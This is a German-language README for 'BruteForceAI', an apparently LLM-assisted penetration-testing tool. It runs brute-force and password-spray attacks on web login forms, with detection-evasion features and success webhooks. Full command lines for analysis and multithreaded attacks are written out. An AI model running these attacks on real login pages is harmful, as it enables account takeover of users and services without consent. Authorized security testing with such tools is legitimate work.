🤖 BruteForceAI – KI-gestütztes Login-Brute-Force-Tool

---

🎯 Über

BruteForceAI ist ein fortschrittliches Penetrationstesting-Tool, das traditionelle Brute-Force-Angriffe durch die Integration von Large Language Models (LLM) zur intelligenten Formularanalyse revolutioniert. Das Tool identifiziert automatisch Login-Formular-Selektoren mithilfe von KI und führt anschließend ausgefeilte mehrthreadige Angriffe mit menschenähnlichen Verhaltensmustern aus.

🧠 LLM-gestützte Formularanalyse

• Stufe 1 (KI-Analyse): LLM analysiert HTML-Inhalte, um Login-Formularelemente und Selektoren zu identifizieren
• Stufe 2 (Intelligenter Angriff): Führt intelligente Brute-Force-Angriffe mit KI-entdeckten Selektoren aus

🚀 Erweiterte Angriffsfunktionen

• Mehrthreadige Ausführung mit synchronisierten Verzögerungen
• Bruteforce- & Password-Spray-Angriffsmodi
• Menschenähnliches Timing mit Jitter und Randomisierung
• User-Agent-Rotation für bessere Umgehung
• Webhook-Benachrichtigungen (Discord, Slack, Teams, Telegram)
• Umfassendes Logging mit SQLite-Datenbank

---

🌟 Star-Verlauf

---

✨ Funktionen

🔍 Intelligente Analyse

• LLM-gestützte Identifizierung von Formular-Selektoren (Ollama/Groq)
• Automatischer Wiederholungsversuch mit Feedback-Lernen
• DOM-Änderungserkennung zur Erfolgsvalidierung
• Intelligente HTML-Inhaltsextraktion

⚡ Erweiterte Angriffe

• Bruteforce-Modus: Alle Benutzername/Passwort-Kombinationen ausprobieren
• Password-Spray-Modus: Jedes Passwort gegen alle Benutzernamen testen
• Mehrthreadige Ausführung (1–100+ Threads)
• Synchronisierte Verzögerungen zwischen Versuchen für denselben Benutzer

🎭 Umgehungstechniken

• Zufällige User-Agent-Rotation
• Konfigurierbare Verzögerungen mit Jitter
• Menschenähnliche Timing-Muster
• Proxy-Unterstützung
• Steuerung der Browser-Sichtbarkeit

📊 Überwachung & Benachrichtigungen

• Echtzeit-Webhook-Benachrichtigungen bei Erfolg
• Umfassendes SQLite-Logging
• Ausführliche Ausgabe mit Zeitstempeln
• Erfolgreiches Beenden nach ersten gültigen Anmeldedaten
• Überspringen vorhandener Versuche (Duplikatvermeidung)

🛠️ Betriebliche Funktionen

• Ausgabeerfassung in Dateien
• Farbige Terminal-Oberfläche
• Wiederholungsmechanismus bei Netzwerkfehlern
• Erzwungene Wiederholung vorhandener Versuche
• Datenbankverwaltungswerkzeuge
• Automatische Update-Prüfung von mordavid.com

---

🔧 Installation

Voraussetzungen

# Python 3.8 or higher
python --version

Virtuelle Umgebung einrichten (empfohlen)

Halten Sie Abhängigkeiten von Ihrem System-Python isoliert, indem Sie das integrierte venv verwenden:

# 1. Create a virtual environment
python -m venv .venv

# 2. Activate it
#   Windows (PowerShell):
.venv\Scripts\Activate.ps1
#   Windows (cmd):
.venv\Scripts\activate.bat
#   macOS / Linux:
source .venv/bin/activate

Hinweis: Der Schritt python -m venv .venv ist nur einmal erforderlich. In jeder neuen Terminal-Sitzung muss der Aktivierungsbefehl (Schritt 2) erneut ausgeführt werden, bevor das Tool verwendet wird. Um die virtuelle Umgebung zu verlassen, führen Sie deactivate aus.

Abhängigkeiten installieren

# Install Python packages
pip install -r requirements.txt

# Install the Playwright browser
playwright install chromium

Erforderliche Pakete:

• playwright – Browser-Automatisierung
• requests – HTTP-Anfragen
• PyYAML – YAML-Parsing für Update-Prüfungen

LLM-Einrichtung

Option 1: Ollama (lokal)

# Install Ollama
curl -fsSL https://ollama.ai/install.sh | sh

# Pull recommended model
ollama pull llama3.2:3b

Option 2: Groq (Cloud)

1. API-Schlüssel aus der Groq Console beziehen
2. Verwendung mit --llm-provider groq --llm-api-key YOUR_KEY

🧠 Modellauswahl & Leistung

Empfohlene Modelle nach Anbieter

Ollama (Lokal):

• llama3.2:3b – Standard, gute Balance zwischen Geschwindigkeit und Qualität
• llama3.2:1b – Schnellstes, kleineres Modell für schnelle Analysen
• qwen2.5:3b – Alternative mit guter Leistung

Groq (Cloud):

• llama-3.3-70b-versatile – Standard & Beste – Neuestes Modell mit überlegener Qualität (1 Versuch)
• llama3-70b-8192 – Schnelle und zuverlässige Alternative (1 Versuch)
• gemma2-9b-it – Leichtgewichtige Option, gut für einfache Formulare (1 Versuch)
• llama-3.1-8b-instant – ⚠️ Nicht empfohlen (Probleme mit Ratenbegrenzung, 3+ Versuche)

Leistungstipps

# Best quality (recommended for complex forms)
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama-3.3-70b-versatile --llm-api-key YOUR_KEY

# Fast and reliable
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model llama3-70b-8192 --llm-api-key YOUR_KEY

# Lightweight for simple forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider groq --llm-model gemma2-9b-it --llm-api-key YOUR_KEY

# Local processing (no API key needed)
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

📖 Verwendung

Grundlegende Befehle

Stufe 1: Anmeldeformulare analysieren

python BruteForceAI.py analyze --urls urls.txt --llm-provider ollama

Phase 2: Angriff ausführen

python BruteForceAI.py attack --urls urls.txt --usernames users.txt --passwords passwords.txt --threads 10

Befehlsstruktur

python BruteForceAI.py <command> [options]

Verfügbare Befehle

• analyze - Anmeldeformulare mit LLM analysieren
• attack - Brute-Force-Angriffe ausführen
• clean-db - Datenbanktabellen bereinigen
• check-updates - Auf Software-Updates prüfen

---

🎯 Beispiele

1. Vollständiger Workflow

# Step 1: Analyze forms
python BruteForceAI.py analyze --urls targets.txt --llm-provider ollama --llm-model llama3.2:3b

# Step 2: Attack with 20 threads
python BruteForceAI.py attack --urls targets.txt --usernames users.txt --passwords passwords.txt --threads 20 --delay 5 --jitter 2

2. Erweiterte Angriffskonfiguration

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --mode passwordspray \
  --threads 15 \
  --delay 10 \
  --jitter 3 \
  --success-exit \
  --user-agents user_agents.txt \
  --verbose \
  --output results.txt

3. Mit Webhook-Benachrichtigungen

python BruteForceAI.py attack \
  --urls targets.txt \
  --usernames users.txt \
  --passwords passwords.txt \
  --discord-webhook "https://discord.com/api/webhooks/..." \
  --slack-webhook "https://hooks.slack.com/services/..." \
  --threads 10